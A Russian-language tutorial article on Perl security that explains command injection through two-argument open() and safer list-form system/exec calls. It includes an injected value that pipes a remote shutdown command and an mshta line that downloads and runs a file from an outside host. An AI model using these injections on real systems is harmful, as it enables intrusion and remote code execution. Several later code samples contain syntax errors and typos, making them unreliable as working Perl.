Каталог статей
Главная » Статьи » Язык программирование Perl » Описание Языка Perl |
Применение хакерских атак с помощью Perl
Если вы системный администратор, программист и вы программируете на языке программирования Perl, то наверняка много раз сталкивались с информацией о уязвимости Perl для хакерских атак. Perl требует особое внимание при составлении кода программы (скрипта) при которой каждой малейшей ошибке программиста система остается открытой и доступной для хакерских атак особенно в операционных системах Windows. Например приведенный ниже фрагмент кода, который просто выводит содержимое указанного файла. open(f, $file); while(<f>){ print }; на самом деле с помощью этого простого уязвимого кода на выход можно вывести разные стандартно поставляемые программы например как: calc.exe, notepad.exe, shutdown.exe удаленно например так: $x="| shutdown.exe -s" #это команда выключает компьютер удаленно open (file, $x) while (<file>){ print } В запуске на удаленном сервере стандартных программ мало смысла, если не знать про идеальную отмычку хакера - утилиту mshta.exe. Она позволяет легко и принужденно закачивать в атакуемую систему и выполнять в ней произвольный код. Например: mshta http://mysite.com/hack.exe Приведенной выше примере команда приведет к скачиванию файла и выполняет в ней произвольный код. В Perl внешние программы вы можете запускать различными путями. Вы можете перехватывать вывод внешних программ, открыть туннель(pipe) к программе. open(SORT, "|/usr/bin/sort | /usr/bin/uniq"); $d=`/bin/date`; # Сохраняет вывод программы date в переменной $d system "/usr/bin/sort<foo.in"; exec"/usr/bin/sort<foo.in"; Для функции system() и exec() в Perl есть возможность, позволяющаязапускать напрямую внешние программы без обращения к коммандной оболочке ОС. Если передать внешней программе не строку, а список, то Perl не будет использоть оболочку и метасимволы вызовут не желательных побочных эффнктов. Например: system "/usr/bin/sort"; "foo.in"; open(SORT, "|-") || exec "/usr/bin/sort", $variable; while $line(@line){ print SORT $line, "\n"; } close SORT; Приведенной выше примере функция open() запускает процесс Perl и открывает туннель к процессу Perl. Для чтения из туннеля без обращения к командной оболочке можно использовать похожий способ, с последовательностью "-|": open (GREP, "-|")||exec "/usr/bun/grep", usserpattern, $filename; while (<GREP>){ print "match: $_"; } close GREP; Приведенный выше примере функция system запускает дочерний процесс и выполняет команду sort которая наследует от Perl стандартные потоки ввода, вывода ошибок, а функция exec заставляет сам процесс Perl выполнить запрашиваемое действие.
| |
Просмотров: 799
| Теги: |
Всего комментариев: 0 | |